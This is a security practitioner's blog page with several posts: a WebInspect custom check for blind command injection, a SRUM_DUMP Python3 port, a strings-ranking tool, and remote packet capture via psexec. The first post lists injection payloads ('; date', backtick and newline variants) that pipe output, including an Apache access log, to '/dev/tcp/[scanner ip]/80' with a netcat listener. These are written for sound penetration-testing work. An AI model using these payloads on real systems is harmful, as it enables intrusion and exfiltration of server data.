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Welcome to Mark Baggett - In Depth Defense

I am the course Author of SANS SEC573 Automating Information Security with Python. Check back frequently for updated tools and articles related to course material.




WebInspect and Arbitrary Command Execution

I won't be the first to say it, but its worth repeating; No scanner is a substitute for a human penetration test. That said, I find that WebInspect saves me a lot of time and often either finds vulnerabilities for me OR, just as often, generates error messages that lead me to finding issues pretty quickly.   I like to think of it as a web app fuzzer on steroids.  Here is a custom signature I've added to help me cover my bases.

When WebInspect scans for arbitrary command execution, it will only detect the flaw when the results of the command execution are returned to the browser. For example, it will inject "; id" into all the field on a page. If it doesn't see "uid=0(root) " (or preferrably the uid for an a less priveleged apache httpd user) returned from the web server somewhere in that response then it doesn't detect the vulnerability. But the web server very well may have executed code invisibly. Consider this example:

A website has a function to submit comments to the website administrator.   The comment form takes a field of user input and makes it the subject line of an email to the website administrator. The back end system passes the user input as the -s parameter to /usr/bin/mail sending an email to the admin. If the back end fails to properly sanitize input then WebInspect would successfully inject " /usr/bin/mail -f subject; id" but the results of id would not be returned in the browser and thus go undetected.

Here is something that can make detecting these issues a little easier. Use the "POLICY MANAGER" to add a "CUSTOM CHECK" that does "PARAMETER INJECTION". Have your new custom check send the following command.

";date > /dev/tcp/[your scanner ip address]/80"

As you run your scan have a netcat listener with -L (capital L) running to catch the results as follows:

nc -L -p 80

It will still require some work to figure out exactly which parameter was vulnerable to the attack, but the time displayed in your netcat listener will help to narrow your search.

In addition to injecting a semicolin you will probably want to create all of these signatures as well..

"date > /dev/tcp/[your scanner ip address]/80"
"&date > /dev/tcp/[your scanner ip address]/80"
"`date > /dev/tcp/[your scanner ip address]/80"
"```date > /dev/tcp/[your scanner ip address]/80"
"\ndate > /dev/tcp/[your scanner ip address]/80"
and various combinations of those attacks:
"|&;"date > /dev/tcp/[your scanner ip address]/80"

If "date" doesn't narrow it down for you enough you might try this..
"tail /var/log/apache/access.log > /dev/tcp/[your scanner ip address]/80"

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SRUM_DUMP and SRUM_DUMP_CSV have been ported to Python3 and are available for download from the PYTHON3 branch of my github page.

https://github.com/MarkBaggett/srum-dump/tree/python3

In moving to Python3 I also updated the modules that I depend upon to parse and create XLSX files and access the ESE database that contains the SRUM data.  I hope that this will fix the issue that some users have experienced with SRUDB.dat files that create very large spreadsheets.  If it does not please let me know and continue to use SRUM_DUMP_CSV.EXE to avoid the XLSX problem.

In moving to Python3 you will find the process to be faster.

If you would like to run the tools from source instructions for doing so are in the README on the github page.

New tool Freq_sort.py

I read an article on Fireeye's website the other day where they used Machine Learning to eliminate a lot of the noise that comes out of tools like strings.  It's pretty interesting and looks like it would save me some time when looking through malware.

https://www.fireeye.com/blog/threat-research/2019/05/learning-to-rank-strings-output-for-speedier-malware-analysis.html

I wondered how effective freq.py scores would be in helping to eliminate the noise.  45 minutes and 29 lines of Python code later I have something that looks like it works.  Check out freq_sort.py.

Before freq_sort.py here is the output of strings on a piece of malware:

student@573:~/freq$ strings -n 6 malware.exe | head -n 20
!This program cannot be run in DOS mode.
e!Rich
`.rdata
@.data
.pdata
@.gfids
@.rsrc
@.reloc
\$0u"H
L$ SVWH
K SVWH
|$ H;_
<bt%<xt!<Zt
|$ AVH
l$ VWAV
L$ SUVWH
UVWATAUAVAWH
0A_A^A]A\_^]
UVWATAUAVAWH
@A_A^A]A\_^]

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Windows TCPDUMP without installing WINPCAP!!!!!!!!

IMHO, This is a long time coming for Windows. I love this thing. You probably already know about it, but I haven't read much about it anywhere and Its been very useful to me. Its a version of tcpdump for windows that doesn't require I install the Winpcap drivers. I use it along with PSEXEC to start remote sniffing probes on Windows workstations. I'm sure its NOT forensically sound to do this in on a box that may contain evidence because of the swap file, but for information gathering something like this is very useful.

So with this..
http://www.microolap.com/downloads/tcpdump/tcpdump.zip

Something like this

\mytools\psexec.exe \\remotecomputer -c \mytools\tcpdump.exe -i 1 -s0 -w \\remotefileserver\share\capturename.cap

Lets me turn every node on my network into a remote Snort probe, or just capture anamolies!